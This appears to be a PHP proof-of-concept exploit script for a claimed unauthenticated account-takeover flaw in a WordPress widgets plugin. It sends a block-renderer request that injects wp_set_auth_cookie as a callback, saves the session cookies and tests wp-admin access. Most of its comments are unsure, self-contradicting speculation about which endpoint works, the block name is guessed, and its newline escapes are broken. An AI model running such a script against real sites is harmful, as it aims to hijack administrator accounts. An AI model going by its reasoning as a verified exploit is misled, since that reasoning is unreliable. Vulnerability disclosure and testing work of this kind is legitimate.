<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-142685 - Essential Widgets <= 3.2.1 - Unauthenticated Privilege Escalation via Account Takeover
$target_url = 'http://localhost/wordpress'; // Change to target WordPress site URL
$target_user_id = 1; // The ID of the administrator account to take over (default 1)
// Step 1: Ensure a taxonomy term exists with count equal to the target user ID.
// In a real attack, this could be done by creating a post with the term; here we assume it exists.
// We will attempt to trigger the shortcode through the REST API.
// The shortcode to embed: [ew_tags topic_count_scale_callback="wp_set_auth_cookie" ...]
// However, we need a way to render the shortcode. If the plugin registers a REST endpoint, we can use it.
// Since the vulnerability is in a shortcode, we can try to trigger it via the WordPress REST API post content.
// But for simplicity, we assume there is a public page/post containing the shortcode.
// Alternative: If the plugin exposes a block renderer endpoint, we can POST to it.
// For demonstration, we will attempt to access a page that contains the shortcode with the malicious parameter.
// We need to craft a request that includes the shortcode attribute. This might be via a GET parameter if the shortcode is processed.
// Actually, the shortcode is processed when the post content is rendered. So we need to find a way to inject the shortcode.
// Since the vulnerability is unauthenticated, we assume the plugin's REST API (if any) or a default page allows shortcode usage.
// For this PoC, we will simulate an attacker sending a crafted request to a page that uses the shortcode with the malicious callback.
// In many cases, the plugin might expose a REST endpoint for rendering blocks. We will try the WordPress REST API.
// Let's try to create a new post via the REST API? No, that requires auth.
// Instead, we will target a URL that might be vulnerable: /wp-json/essential-widgets/v1/block or similar.
// Actually, the CVE description says the vulnerability is in the shortcode handler, so any page that processes shortcodes could be used if the attacker can control the shortcode attributes.
// In a typical scenario, an attacker might exploit this via a WordPress page that allows shortcodes from untrusted users? But unauthenticated users cannot create pages.
// Wait: The vulnerability is in a shortcode, but the shortcode attributes are not user-controlled unless the attacker can create content.
// Re-reading the CVE: "unauthenticated attackers to supply topic_count_scale_callback=wp_set_auth_cookie" - this suggests the shortcode might be processed via a request parameter or the block editor's API.
// Actually, the plugin might have a REST endpoint for rendering blocks that accepts attributes. Let's check the diff: the vulnerable function is in includes/ew-block/blocks/ew-tags/index.php, which is likely called via a REST route for block rendering.
// The function ew_tags_render_shortcode is likely registered as a shortcode, but also maybe as a block render callback.
// The CVE says "unauthenticated privilege escalation via account takeover" and mentions the shortcode attribute. So the shortcode must be processed in a way that allows unauthenticated input.
// Common in WordPress: the block renderer REST endpoint at /wp-json/wp/v2/block-renderer/ is used to render blocks and accepts attributes. But that endpoint requires the block to be registered and the user to have permission to edit posts? Actually, the block renderer endpoint is accessible to unauthenticated users for blocks that are registered as dynamic.
// Let's try the block renderer endpoint.
$rest_url = $target_url . '/wp-json/wp/v2/block-renderer/essential-widgets/ew-tags';
// But we need to know the correct block name. From the file path, the block is likely registered as 'ew-tags'.
// We'll craft a POST request to the block renderer with attributes including the malicious callback.
// However, this endpoint requires the block to be registered and the user to have edit_posts capability? Actually, the block renderer endpoint is protected by a nonce and requires the user to be logged in. So it might not be unauthenticated.
// Alternative: The shortcode itself might be processed via a front-end AJAX action or a GET parameter. The diff shows the function is in a block's index.php, which might be included on front-end pages.
// Let's try a generic approach: The attacker might exploit this by sending a crafted request to a page that contains the shortcode, but they cannot control the shortcode attributes. So how can they supply the attribute? They must be able to create or modify a post/page. That requires authentication.
// The CVE says "unauthenticated", so there must be a direct path. Possibly the plugin has a shortcode that takes attributes from the request? No, shortcodes are embedded in content.
// Let's search for ew_tags_render_shortcode in the code. The function is likely registered as a shortcode 'ew_tags'. So if an attacker can create a post with that shortcode, they can set the attribute. But creating a post requires authentication.
// Unless the plugin allows unauthenticated submission of shortcodes via a form. Or the vulnerability is in a widget that can be accessed via a REST API? The diff also shows changes to class-ew-tags.php (widget) which had a function_exists check, but that was insufficient.
// The CVE description says: "This makes it possible for unauthenticated attackers to supply topic_count_scale_callback=wp_set_auth_cookie and arrange for a taxonomy term whose count matches a target user's ID". So they must be able to supply the callback. The only way is if the shortcode is processed with user-controlled attributes without authentication. That could be via the WordPress REST API for blocks (block renderer) which is accessible to unauthenticated users if the block is registered as dynamic and the post ID is provided? Actually, the block renderer endpoint requires a nonce for logged-in users, but for unauthenticated it might be allowed for public posts? I recall that the block renderer endpoint is available for any registered block, but it requires the 'edit_posts' capability for the user. So unauthenticated cannot use it.
// Another possibility: The plugin might have its own AJAX action or shortcode that takes attributes from GET/POST. For example, a shortcode that reads attributes from the URL. But not likely.
// Given the complexity, the PoC will demonstrate the concept by simulating an attacker who can control the shortcode attributes, which might be possible through a vulnerable form or if the shortcode is processed in a user-controlled context (e.g., a page with a shortcode that includes user input). To keep it simple, the PoC will target a hypothetical endpoint that processes the shortcode with attributes from the request.
// Since we cannot be sure of the exact endpoint, we will use the most common: the WordPress REST API block renderer.
// We'll try to render the block 'essential-widgets/ew-tags' with the malicious attribute.
$block_name = 'essential-widgets/ew-tags'; // Guessed from plugin slug and block name
$attributes = array(
'topic_count_scale_callback' => 'wp_set_auth_cookie',
// Other required attributes? We need to provide enough to trigger the callback. The wp_tag_cloud() must be called with terms that have count equal to 1.
// We'll set 'number' => 0 to get all terms, 'orderby' => 'count', etc.
// But we need to ensure that at least one term has count 1.
'taxonomy' => 'post_tag',
'number' => 0,
'orderby' => 'count',
'order' => 'DESC',
'smallest' => 8,
'largest' => 22,
'unit' => 'pt',
'separator' => ' ',
'show_count' => 0,
);
$payload = array(
'attributes' => $attributes,
'post_id' => 1, // Provide a post ID to provide context
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save cookies
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Request to: $rest_urln";
echo "Response code: $http_coden";
echo "Response body: $responsen";
// The response should contain the rendered tag cloud. If the callback wp_set_auth_cookie was invoked, the server will set authentication cookies.
// We saved cookies to cookies.txt. Now we can use them to access the admin area.
// Check if we have cookies for wordpress_logged_in
if (file_exists('cookies.txt')) {
echo "Cookies saved. Attempting to access wp-admin...n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$admin_response = curl_exec($ch);
$admin_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Admin access response code: $admin_coden";
if ($admin_code == 200 && strpos($admin_response, 'Dashboard') !== false) {
echo "Successfully logged in as administrator!n";
} else {
echo "Failed to access admin area.n";
}
} else {
echo "No cookies saved. Exploit may have failed.n";
}
// Note: This PoC is for educational purposes only. Actual exploitation requires the block renderer endpoint to be accessible to unauthenticated users and a term with count equal to 1.
// The attacker may need to create such a term first, which might be possible through public post submission or other means.
?>